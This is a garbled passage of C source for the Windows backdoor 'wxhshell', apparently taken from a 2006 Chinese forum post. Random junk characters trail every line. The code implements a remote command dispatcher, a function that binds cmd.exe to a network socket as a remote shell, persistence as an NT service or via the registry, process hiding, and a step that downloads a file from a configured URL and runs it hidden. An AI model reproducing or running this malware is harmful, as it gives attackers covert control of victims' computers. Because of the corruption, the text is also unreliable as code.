      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6bL"ZOEu  
    break; 9*?H/iN@p?  
  } T<p,KqH  
  // 安装 0baq696<F  
  case 'i': { aLwd#/!  
    if(Install()) Dxc`K?M   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S-FoyID\H  
    else >[4;K&$B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <K8$00lm  
    break; ` ,B&oV>  
    } kg2?IL  
  // 卸载 ?}QHEk:H  
  case 'r': { 8&AHu  
    if(Uninstall()) bLx70$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GN36:>VWb  
    else sFR'y.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8[\(*E}d!X  
    break; HJY_l  
    } {J:ZM"GS  
  // 显示 wxhshell 所在路径 uUAib<wdPL  
  case 'p': { ~=t, g S  
    char svExeFile[MAX_PATH]; <h_lc}o/  
    strcpy(svExeFile,"\n\r"); O*af`J{  
      strcat(svExeFile,ExeFile); -j%!p^2j9  
        send(wsh,svExeFile,strlen(svExeFile),0); gE,i Cx  
    break; )N{Qpbh  
    } <{C oM  
  // 重启 48.2_H<  
  case 'b': { 8T5s6EmIOW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {FR#je  
    if(Boot(REBOOT)) >$gWeFu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x\ : x`k@  
    else { I,{9vew  
    closesocket(wsh); {u BpM9KT  
    ExitThread(0); >+v)^7c  
    } oa:GGW4Q  
    break; AT^?PD_  
    } &i`\`6 q  
  // 关机 e+"r L]  
  case 'd': { Dk#$PjcRE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jo1=C.V`Y  
    if(Boot(SHUTDOWN)) ]Y|Y?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =,D3e+P'  
    else { jWb;Xk4  
    closesocket(wsh); q9- =>  
    ExitThread(0); )Cuc ]>SC  
    } xACAtJ'gc  
    break; ~+VIELU<%  
    } (r cH\   
  // 获取shell Ez^U1KKOE7  
  case 's': { /*Z ,i&eC  
    CmdShell(wsh); xbex6i"ZE  
    closesocket(wsh); u1y c  
    ExitThread(0); @].Ko[P~  
    break; ]R^?Pa1Te4  
  } W M/pP?||  
  // 退出 I;`)1   
  case 'x': { 2Y&QJon)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E<>Ev_5>  
    CloseIt(wsh); 6:i(<7  
    break; d+KLtvB%M  
    } 9C5w!_b@  
  // 离开 v&}mbt-  
  case 'q': { 9N>Dp N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y_&D W4  
    closesocket(wsh); [`P+{ R  
    WSACleanup(); (o_wv  
    exit(1); wVCZ=\L}  
    break; Lwgk}!KR  
        } sygAEL;.  
  } YPAMf&jEF  
  } H"4^  
`.+_}.m  
  // 提示信息 < J=9,tv<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |$`LsA.  
} m(nGtrQJm  
  } V7u;"vD  
T78`~-D4<  
  return; l]whL1N3  
} TD+V.}  
2<Pi2s'  
// shell模块句柄 vMJv.O>HW  
int CmdShell(SOCKET sock) $b;9oST  
{ oB8u[ !  
STARTUPINFO si; ]}R\[F (_%  
ZeroMemory(&si,sizeof(si)); yG'5up  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ip]-OVg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8>G3KZ3  
PROCESS_INFORMATION ProcessInfo; Ch607 i=  
char cmdline[]="cmd"; AW@ I,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W?8 |h  
  return 0; 0_Tr>hz  
} f.0~HnNg1  
<5MnF  
// 自身启动模式 +)Tt\Q%7  
int StartFromService(void) Hep]jxp+  
{ n{j14b'  
typedef struct [E_6n$w  
{ ?4wS/_C/  
  DWORD ExitStatus; NKd!i09`  
  DWORD PebBaseAddress; c[@-&o`  
  DWORD AffinityMask; %fMK^H8{  
  DWORD BasePriority; JB(~O`  
  ULONG UniqueProcessId; A?8f 6  
  ULONG InheritedFromUniqueProcessId; XoM+"R"  
}   PROCESS_BASIC_INFORMATION; %^xY7!{  
F*hOa|7/  
PROCNTQSIP NtQueryInformationProcess; O-6848iCX  
7Zp'}Om<I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \I; lgz2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _*B]yz6z  
17[7)M88  
  HANDLE             hProcess; )BudV zg  
  PROCESS_BASIC_INFORMATION pbi; XRVE8v+  
/02|b}{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SnVIV%  
  if(NULL == hInst ) return 0; #(-V^ T  
u|ia  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xlF$PpRNM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t_c;4iE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qjh5m5e  
Da5Zz(  
  if (!NtQueryInformationProcess) return 0; ]+Yd#<j(u  
A-r-^S0\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }R* [7V9"  
  if(!hProcess) return 0; @#Jc!p7)  
GQ ZEMy7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NK]X="`  
HMJx[ yD  
  CloseHandle(hProcess); Z8tQ#Pu{  
:9q=o|T6D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #4_'%~-e  
if(hProcess==NULL) return 0; fb[f >1|  
s QfP8}U  
HMODULE hMod; @U'I_` LL  
char procName[255]; %CJgJ,pk>  
unsigned long cbNeeded; TO.?h!  
~]BxM9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @ae;&  
#p}I 84Q  
  CloseHandle(hProcess); eAS~>|N#x  
ECqcK~h#E  
if(strstr(procName,"services")) return 1; // 以服务启动 Y!* \=h6h  
B!H4 6w~  
  return 0; // 注册表启动 54s+4R FL  
} sG*1?  
6j@3C`Yd  
// 主模块 "P`V|g  
int StartWxhshell(LPSTR lpCmdLine) MHmaut#  
{ :Lqz`  
  SOCKET wsl; `|e?91@vEa  
BOOL val=TRUE; Bh?K_{e  
  int port=0; i6M_Gk}  
  struct sockaddr_in door; Au,xIe!t  
msOk~ZPE6\  
  if(wscfg.ws_autoins) Install(); cx M=#Go  
dQLR%i#P8  
port=atoi(lpCmdLine); XzGPBi  
2V7x  
if(port<=0) port=wscfg.ws_port; ;=>4 '$8  
wND0KiwH  
  WSADATA data; T :IKyb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !Vl>?U?AN  
5xL%HX[S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yg\bCvL&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !7t,(Id8  
  door.sin_family = AF_INET; ]}H;`H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4.2qt  
  door.sin_port = htons(port); <<!XWV*m  
pJ-/"Q|:i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qwJeeax  
closesocket(wsl); H/'tSb  
return 1; >7. $=y8b  
} 0@z=0}0Z  
w%;Z`Xn&u  
  if(listen(wsl,2) == INVALID_SOCKET) { }@Lbv aa  
closesocket(wsl); vUh.ev0  
return 1; *#{[9d  
} kb{h`  
  Wxhshell(wsl); 67Rsd2   
  WSACleanup(); n_vopDMm  
2 >G"A  
return 0; ycB>gd  
]@_M)[ x  
} A$ v Cm  
I_N(e|s\U  
// 以NT服务方式启动 "&Ym(P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }8J77[>/  
{ {` Bgxejf  
DWORD   status = 0;  N)G.^9  
  DWORD   specificError = 0xfffffff; \tE2@  
n}X)a-=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JVE]Qb_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +ou5cQ^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yoi4R{9c  
  serviceStatus.dwWin32ExitCode     = 0; 6n 37R#(  
  serviceStatus.dwServiceSpecificExitCode = 0; ;Q>(%"z};  
  serviceStatus.dwCheckPoint       = 0; m:A 7*r[  
  serviceStatus.dwWaitHint       = 0; tgEXX-{  
-_BS!T%r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6O2 r5F$T  
  if (hServiceStatusHandle==0) return;  pv1J6  
f@lRa>Z(Fm  
status = GetLastError(); u!`oKe;  
  if (status!=NO_ERROR) 1"{3v@yi  
{ e.9oB<Etp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m@  b~  
    serviceStatus.dwCheckPoint       = 0; EdxTaR  
    serviceStatus.dwWaitHint       = 0; zS*GYE(l^  
    serviceStatus.dwWin32ExitCode     = status; ~t\Hb8o  
    serviceStatus.dwServiceSpecificExitCode = specificError; BoJ@bOe#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3{B`[$  
    return; ]Ija,C!#  
  } r#LoBfM;^A  
. fq[>zG'&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fOtin[|}6@  
  serviceStatus.dwCheckPoint       = 0; #"% ]1={b  
  serviceStatus.dwWaitHint       = 0; "P;_-i9O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cc^`M9dP  
} 2}:scag  
C(7uvQ  
// 处理NT服务事件,比如:启动、停止 d[;=X.fZ2  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  )TV4OT#  
{ ma.yI};$  
switch(fdwControl) zn|~{9>y  
{ {:M5t1^UC  
case SERVICE_CONTROL_STOP: `vWFTv  
  serviceStatus.dwWin32ExitCode = 0; xq1 =O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~yz7/?A)TS  
  serviceStatus.dwCheckPoint   = 0; -#T?C ]}  
  serviceStatus.dwWaitHint     = 0; )P>Cxzs  
  { I4 dS,h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bJ8G5QU  
  } O.4ty)*  
  return; 3#vhQ*xU  
case SERVICE_CONTROL_PAUSE: fhlhlOg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H@Dj$U  
  break; ;,GE!9HW  
case SERVICE_CONTROL_CONTINUE: vB(tpki|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eED Fm  
  break; aV`4M VWOz  
case SERVICE_CONTROL_INTERROGATE: .lm^+1}r  
  break; _KVge)j  
}; biFy*+|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F<y$Q0Z}  
} j2NnDz'  
o =)hUr  
// 标准应用程序主函数 P_)h8-!+ $  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ftu~nh}  
{ g,/gApa  
|KFRC)g  
// 获取操作系统版本 Q.: SIBP  
OsIsNt=GetOsVer(); Yy]^_,r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D/pc)3Ofe  
}WXO[ +l  
  // 从命令行安装 T1yJp$yD"  
  if(strpbrk(lpCmdLine,"iI")) Install(); qXmkeidb&W  
$8#zPJR&  
  // 下载执行文件 \A'MEd-  
if(wscfg.ws_downexe) { X,d`-aKO\y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xFcJyjo^z  
  WinExec(wscfg.ws_filenam,SW_HIDE); S;[g0j  
} i_8q!CL@{  
A9^t$Ii  
if(!OsIsNt) { 7+';&2M)n~  
// 如果时win9x,隐藏进程并且设置为注册表启动 c0M=T  
HideProc(); afY~Y?PJ<  
StartWxhshell(lpCmdLine); sE7!U|  
} L ;5uB2  
else 6c-y<J+&s  
  if(StartFromService()) j]i:~9xKW  
  // 以服务方式启动 tEP~`$9  
  StartServiceCtrlDispatcher(DispatchTable); =y.!Ny5A  
else y)N57#e  
  // 普通方式启动 o#Q0J17i?  
  StartWxhshell(lpCmdLine); >]uV  
td{M%D,R"  
return 0;  9')  
}
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只看该作者 1 发表于: 2006-10-10
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